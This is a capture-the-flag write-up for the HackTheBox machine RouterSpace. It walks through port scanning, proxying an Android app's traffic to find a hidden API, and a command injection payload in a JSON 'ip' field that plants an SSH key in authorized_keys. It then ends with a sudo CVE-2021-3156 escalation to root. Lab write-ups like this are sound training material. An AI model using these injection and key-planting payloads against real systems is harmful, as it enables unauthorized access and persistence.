HTB: RouterSpace Writeup
RouterSpace - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | RouterSpace |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 30th May 2022 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
RouterSpace is an easy Linux machine featuring a deceptive initial attack surface. The target hosts a web application promoting RouterSpace routing software and offers an APK download. Rather than reverse-engineering the heavily obfuscated Android application, the intended approach leverages an Android emulator (Genymotion) with BurpSuite proxy interception to identify hidden API endpoints. This leads to discovery of a command injection vulnerability in a status-check endpoint, allowing arbitrary command execution as the paul user. After establishing SSH access via injected key material, privilege escalation is achieved through the well-known Sudo Baron Samedit vulnerability (CVE-2021-3156).
TL;DR: Download APK → Emulate with Genymotion → Proxy with BurpSuite → Discover hidden API → Command injection → SSH access → CVE-2021-3156 for root.
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -p- --min-rate=1000 -T4 10.129.77.13 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Targeted service enumerationnmap -p$ports -sC -sV 10.129.77.13Results:
- Port 22 (SSH) - OpenSSH 7.4
- Port 80 (HTTP) - Web service (RouterSpace application)
Service Enumeration
The HTTP service on port 80 hosts a RouterSpace marketing page with a prominent “Download” button offering a RouterSpace.apk file (Android application package). Standard web enumeration tools like GoBuster trigger a “Suspicious activity detected” response with request IDs, preventing directory brute-forcing.
Vulnerability Assessment
- Obfuscated Android APK - The downloaded RouterSpace.apk contains heavily obfuscated source code that resists basic decompilation
- Hidden API Endpoint - Standard web enumeration discovers nothing; the vulnerable endpoint is only revealed through Android app traffic interception
- Command Injection in API - The hidden status-check endpoint concatenates user input directly into shell commands without sanitization
- Sudo Privilege Escalation - The system runs an outdated, vulnerable version of sudo susceptible to CVE-2021-3156 (Baron Samedit)
Initial Foothold
Exploitation Path
Step 1: APK Analysis via Android Emulator
Rather than attempt reverse engineering the obfuscated APK, we use Genymotion Android emulator:
# Install required toolssudo apt install apktool# (Genymotion and VirtualBox downloaded and installed manually)
# Extract APK to inspect structureapktool d RouterSpace.apkcat RouterSpace/assets/index.android.bundle# Output: Heavily obfuscated codeGenymotion Setup:
- Launch Genymotion and create account
- Install Samsung Galaxy S8 device (API 26 - required for proxy compatibility)
- Drag-and-drop RouterSpace.apk into emulator to install
- Launch app and attempt “Check Status” (fails with connection error)
Step 2: Network Traffic Interception with BurpSuite
Configure the Android device to proxy traffic through BurpSuite:
# On attacker machine: Start BurpSuite, configure Proxy > Options# Set proxy listener to 0.0.0.0 on default port 8080
# In Genymotion Android device:# Settings > Network & Internet > WiFi > Long-press AndroidWifi# Modify Network > Advanced Options > Proxy > Manual# Set IP to attacker machine, port 8080Critical Detail: The RouterSpace app includes a custom User-Agent header (RouterSpaceAgent). Removing this header triggers the “Suspicious activity detected” error. This is a WAF bypass requirement.
Clicking “Check Status” in the emulator reveals the following request in BurpSuite:
POST /api/v4/health HTTP/1.1Host: routerspace.htbUser-Agent: RouterSpaceAgentContent-Type: application/json
{"ip":"192.168.1.1"}Add the hostname to /etc/hosts:
echo '10.129.77.36 routerspace.htb' | sudo tee -a /etc/hostsStep 3: Command Injection Discovery
Send the request to BurpSuite Repeater and begin testing for injection:
POST /api/v4/health HTTP/1.1Host: routerspace.htbUser-Agent: RouterSpaceAgentContent-Type: application/json
{"ip":"5.5.5.5"}Response echoes back the IP. Testing with malicious input:
{"ip":"192.168.1.1;id"}Success! The response contains:
uid=1001(paul) gid=1001(paul) groups=1001(paul)This confirms command injection via concatenated shell execution (likely ping -c 1 [IP] backend).
Step 4: Firewall Testing and SSH Key Injection
Attempt reverse shell (blocked by firewall):
# Confirm firewall blocks outbound connectionssudo tcpdump -i tun0 icmp
# Send ping request via injection{"ip":"192.168.1.1;ping 10.10.14.64"}
# No packets received - confirmed firewall blocks outboundInstead, inject SSH keys. Generate keypair on attacker machine:
ssh-keygen -f paul -N ""cat paul.pubInject key material via command injection:
{"ip":"192.168.1.1;echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4/rgcP2qUiuOKm+xsJ1Fqf4aWg60oeumxTr84WYoiXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX user@attacker' > /home/paul/.ssh/authorized_keys"}Step 5: SSH Access
ssh -i paul paul@routerspace.htb# Successful login
cat /home/paul/user.txt# User flag capturedPrivilege Escalation
LinPEAS Enumeration
Upload and execute LinPEAS to identify privilege escalation vectors:
# From attacker machinescp -i paul linpeas.sh paul@routerspace.htb:/tmp/
# On target machinessh -i paul paul@routerspace.htbcd /tmpchmod +x linpeas.sh./linpeas.shOutput Analysis:
- PwnKit (CVE-2021-4034): Ruled out -
pkexeclacks SetUID bit - Sudo Baron Samedit (CVE-2021-3156): Vulnerable
Sudo Baron Samedit Exploitation
Quick vulnerability check:
sudoedit -s /# Prompts for password - vulnerable system confirmedThe vulnerability exists in sudo versions prior to 1.9.5p2. Exploitation:
# Download exploit from public source (e.g., GitHub)# Copy exploit_nss.py contents to remote system
cat > exploit.py << 'EOF'# [Full exploit code from CVE-2021-3156 PoC]# Exploit leverages heap overflow in sudoedit parsingEOF
python3 exploit.py# Shell spawns as rootcat /root/root.txt# Root flag capturedAttack Chain Summary
Port 80 (HTTP) → RouterSpace APK Download ↓Genymotion Android Emulator + BurpSuite Proxy ↓Intercept /api/v4/health Request with RouterSpaceAgent Header ↓Command Injection via IP Parameter: ;id ↓SSH Key Injection (Firewall Blocks Reverse Shell) ↓SSH Access as paul User ↓LinPEAS Identifies CVE-2021-3156 Vulnerability ↓Sudo Baron Samedit Exploit ↓Root Shell → Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Network reconnaissance and port scanning |
apktool | APK extraction and structure analysis |
Genymotion | Android device emulation |
VirtualBox | Hypervisor for Genymotion |
BurpSuite | HTTP proxy and traffic interception |
ssh-keygen | SSH keypair generation |
ssh | Secure shell access |
scp | Secure file transfer |
linpeas.sh | Linux privilege escalation enumeration |
python3 | Exploit execution |
Key Learnings
Techniques Practiced
- Android application analysis and emulation without reverse-engineering source code
- HTTP proxy configuration for mobile device traffic inspection
- Command injection vulnerability exploitation
- Firewall evasion through alternative payload delivery (SSH key injection vs. reverse shells)
- Linux privilege escalation via known CVE exploitation
- Security implications of WAF User-Agent validation
Lessons Learned
-
Defense in Depth Failure: The combination of a vulnerable API endpoint with inadequate input validation creates critical RCE, even with firewall-blocked outbound connections.
-
Emulation Over Decompilation: When reverse-engineering fails (obfuscation), runtime analysis via emulation and proxy interception often succeeds more efficiently.
-
Alternative Payload Delivery: When standard reverse shells fail due to network restrictions, consider alternative command execution methods (SSH key injection, cron jobs, file-based attacks).
-
Keep-Alive CVE Risks: Systems running outdated sudo versions expose trivial privilege escalation paths; CVE-2021-3156 was critical across many Linux distributions.
-
User-Agent Whitelisting: Implementing WAF rules based solely on User-Agent headers provides minimal security and can be easily bypassed once the expected value is discovered through traffic analysis.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>